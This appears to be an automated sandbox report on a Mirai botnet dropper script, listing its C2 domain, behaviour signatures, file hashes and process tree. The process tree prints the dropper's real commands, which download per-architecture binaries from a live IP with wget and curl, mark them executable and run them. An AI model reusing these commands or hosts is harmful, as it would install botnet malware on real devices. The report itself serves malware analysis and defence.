Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/04/2025, 11:44

General

  • Target
    hidden.sh
  • Size 2KB
  • Sample250411-nv79psyjs5
  • SHA256 b601f0f14716738354c1e8aa079f833f52cef1a0f2dfb4f002b798549cea006d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

C2
  • main.jojoasmr.xyz

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Traces itself 2 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 1 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/hidden.sh
    /tmp/hidden.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:713
    • /usr/bin/wget
      wget http://176.65.141.183/main_x86
      2⤵
      • Writes file to tmp directory
      PID:716
    • /usr/bin/curl
      curl -O http://176.65.141.183/main_x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:734
    • /bin/cat
      cat main_x86
      2⤵
        PID:742
      • /bin/chmod
        chmod +x hidden.sh main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/WTH
        ./WTH boa.x86
        2⤵
          PID:744
        • /usr/bin/wget
          wget http://176.65.141.183/main_mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:746
        • /usr/bin/curl
          curl -O http://176.65.141.183/main_mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/cat
          cat main_mips
          2⤵
          • System Network Configuration Discovery
          PID:748
        • /bin/chmod
          chmod +x hidden.sh main_mips main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH
          2⤵
          • File and Directory Permissions Modification
          PID:749
        • /tmp/WTH
          ./WTH boa.mips
          2⤵
          • System Network Configuration Discovery
          PID:750
        • /usr/bin/wget
          wget http://176.65.141.183/main_mpsl
          2⤵
          • Writes file to tmp directory
          PID:752
        • /usr/bin/curl
          curl -O http://176.65.141.183/main_mpsl
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:753
        • /bin/cat
          cat main_mpsl
          2⤵
            PID:754
          • /bin/chmod
            chmod +x hidden.sh main_mips main_mpsl main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/WTH
            ./WTH boa.mpsl
            2⤵
            • Deletes itself
            • Traces itself
            • Changes its process name
            • Writes file to tmp directory
            PID:758
          • /usr/bin/wget
            wget http://176.65.141.183/main_arm
            2⤵
            • Writes file to tmp directory
            PID:760
          • /usr/bin/curl
            curl -O http://176.65.141.183/main_arm
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:770
          • /bin/cat
            cat main_arm
            2⤵
              PID:783
            • /bin/chmod
              chmod +x hidden.sh main_arm main_mips main_mpsl main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/WTH
              ./WTH boa.arm
              2⤵
                PID:785
              • /usr/bin/wget
                wget http://176.65.141.183/main_arm5
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://176.65.141.183/main_arm5
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:798
              • /bin/cat
                cat main_arm5
                2⤵
                  PID:812
                • /bin/chmod
                  chmod +x hidden.sh main_arm main_arm5 main_mips main_mpsl main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/WTH
                  ./WTH boa.arm5
                  2⤵
                    PID:814
                  • /usr/bin/wget
                    wget http://176.65.141.183/main_arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /usr/bin/curl
                    curl -O http://176.65.141.183/main_arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:817
                  • /bin/cat
                    cat main_arm6
                    2⤵
                      PID:818
                    • /bin/chmod
                      chmod +x hidden.sh main_arm main_arm5 main_arm6 main_mips main_mpsl main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                      2⤵
                      • File and Directory Permissions Modification
                      PID:819
                    • /tmp/WTH
                      ./WTH boa.arm6
                      2⤵
                        PID:820
                      • /usr/bin/wget
                        wget http://176.65.141.183/main_arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:822
                      • /usr/bin/curl
                        curl -O http://176.65.141.183/main_arm7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:823
                      • /bin/cat
                        cat main_arm7
                        2⤵
                          PID:836
                        • /bin/chmod
                          chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                          2⤵
                          • File and Directory Permissions Modification
                          PID:838
                        • /tmp/WTH
                          ./WTH boa.arm7
                          2⤵
                            PID:840
                          • /usr/bin/wget
                            wget http://176.65.141.183/main_ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:842
                          • /usr/bin/curl
                            curl -O http://176.65.141.183/main_ppc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:851
                          • /bin/cat
                            cat main_ppc
                            2⤵
                              PID:860
                            • /bin/chmod
                              chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_ppc main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                              2⤵
                              • File and Directory Permissions Modification
                              PID:861
                            • /tmp/WTH
                              ./WTH boa.ppc
                              2⤵
                                PID:862
                              • /usr/bin/wget
                                wget http://176.65.141.183/main_m68k
                                2⤵
                                • Writes file to tmp directory
                                PID:864
                              • /usr/bin/curl
                                curl -O http://176.65.141.183/main_m68k
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:865
                              • /bin/cat
                                cat main_m68k
                                2⤵
                                  PID:866
                                • /bin/chmod
                                  chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:867
                                • /tmp/WTH
                                  ./WTH boa.m68k
                                  2⤵
                                    PID:868
                                  • /usr/bin/wget
                                    wget http://176.65.141.183/main_spc
                                    2⤵
                                      PID:870
                                    • /usr/bin/curl
                                      curl -O http://176.65.141.183/main_spc
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:871
                                    • /bin/cat
                                      cat main_spc
                                      2⤵
                                        PID:872
                                      • /bin/chmod
                                        chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:873
                                      • /tmp/WTH
                                        ./WTH boa.spc
                                        2⤵
                                          PID:874
                                        • /usr/bin/wget
                                          wget http://176.65.141.183/main_i686
                                          2⤵
                                            PID:875
                                          • /usr/bin/curl
                                            curl -O http://176.65.141.183/main_i686
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:876
                                          • /bin/cat
                                            cat main_i686
                                            2⤵
                                              PID:877
                                            • /bin/chmod
                                              chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-CGFq8q WTH "WTH (deleted)"
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:878
                                            • /tmp/WTH
                                              ./WTH boa.i686
                                              2⤵
                                                PID:879
                                              • /usr/bin/wget
                                                wget http://176.65.141.183/main_sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:880
                                              • /usr/bin/curl
                                                curl -O http://176.65.141.183/main_sh4
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:881
                                              • /bin/cat
                                                cat main_sh4
                                                2⤵
                                                  PID:885
                                                • /bin/chmod
                                                  chmod +x hidden.sh main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 WTH "WTH (deleted)"
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:886
                                                • /tmp/WTH
                                                  ./WTH boa.sh4
                                                  2⤵
                                                    PID:887
                                                  • /usr/bin/wget
                                                    wget http://176.65.141.183/main_arc
                                                    2⤵
                                                      PID:889
                                                    • /usr/bin/curl
                                                      curl -O http://176.65.141.183/main_arc
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:890
                                                    • /bin/cat
                                                      cat main_arc
                                                      2⤵
                                                        PID:891
                                                      • /bin/chmod
                                                        chmod +x hidden.sh main_arc main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 WTH "WTH (deleted)"
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:892
                                                      • /tmp/WTH
                                                        ./WTH boa.arc
                                                        2⤵
                                                          PID:893

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

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                                                            Downloads

                                                            WTH

                                                            • Path /tmp/WTH
                                                            • Size 177KB
                                                            • SHA256 354994d6d6ec2b7a3ec6310d09832bc528ac8c65751219e3cff08bc645a5b841
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_arc

                                                            • Path /tmp/main_arc
                                                            • Size 206B
                                                            • SHA256 afbd8b1b91e50ab748075c20135197146c30abb89c18491db4968115d81dde31
                                                            • MD5 SHA1 SHA512

                                                            main_arm

                                                            • Path /tmp/main_arm
                                                            • Size 130KB
                                                            • SHA256 a8bcf344dffc31b3b5fd2cdb0877c50d525dfc6f3372ae9ccc83e3484fc09f4f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_arm5

                                                            • Path /tmp/main_arm5
                                                            • Size 126KB
                                                            • SHA256 6a1db027adc8eb4d08a7bd0e5fb00071ae35ffffb24f232e68b8af8d5d099f95
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_arm6

                                                            • Path /tmp/main_arm6
                                                            • Size 140KB
                                                            • SHA256 c303f6bcc0243d8e11fc373d1f388a61290a2e2d7f641be8178e6e840843986c
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_arm7

                                                            • Path /tmp/main_arm7
                                                            • Size 177KB
                                                            • SHA256 263e797ffbf68f6bc6f9f28a76cf0eb8bdcf4f4b103b6f7c00dab86ffa0aa8c3
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_i686

                                                            • Path /tmp/main_i686
                                                            • Size 207B
                                                            • SHA256 d7003af9a551b1e5622a749bbe8fc6927f81712b0b18c22d9fd15a414e0d0bdc
                                                            • MD5 SHA1 SHA512

                                                            main_m68k

                                                            • Path /tmp/main_m68k
                                                            • Size 146KB
                                                            • SHA256 3297187574e58c0d0841f529783b1e1e6c234f475ee6898d6f86db8fb839e9ee
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_mips

                                                            • Path /tmp/main_mips
                                                            • Size 169KB
                                                            • SHA256 f1fd50dbbb182be9a15aba6fe5233ef204a4213add57c784b1b721c4a2a391a2
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_mpsl

                                                            • Path /tmp/main_mpsl
                                                            • Size 173KB
                                                            • SHA256 a58deef6012c8725c9560dd78c3e9c898d1328ab18f8402552e8e9133e53d760
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_ppc

                                                            • Path /tmp/main_ppc
                                                            • Size 130KB
                                                            • SHA256 ab28084b7132348a81dd313492cf1074394970a7f1b1aea11597272e7f347f65
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_sh4

                                                            • Path /tmp/main_sh4
                                                            • Size 114KB
                                                            • SHA256 cdf6fbe43c5334e2664b62de97e7cc016ea6791496bdc465ab1facf880a2e818
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            main_spc

                                                            • Path /tmp/main_spc
                                                            • Size 206B
                                                            • SHA256 e1d43933140b600207b21a59b5d260ed39ec3db497ab3c329a8d724ceecff16a
                                                            • MD5 SHA1 SHA512

                                                            main_x86

                                                            • Path /tmp/main_x86
                                                            • Size 87KB
                                                            • SHA256 a34fddb1cc4936f11f7429dae938e8e7a7e6ff628a1b65052afd574fe8216842
                                                            • MD5 SHA1 SHA512 SSDEEP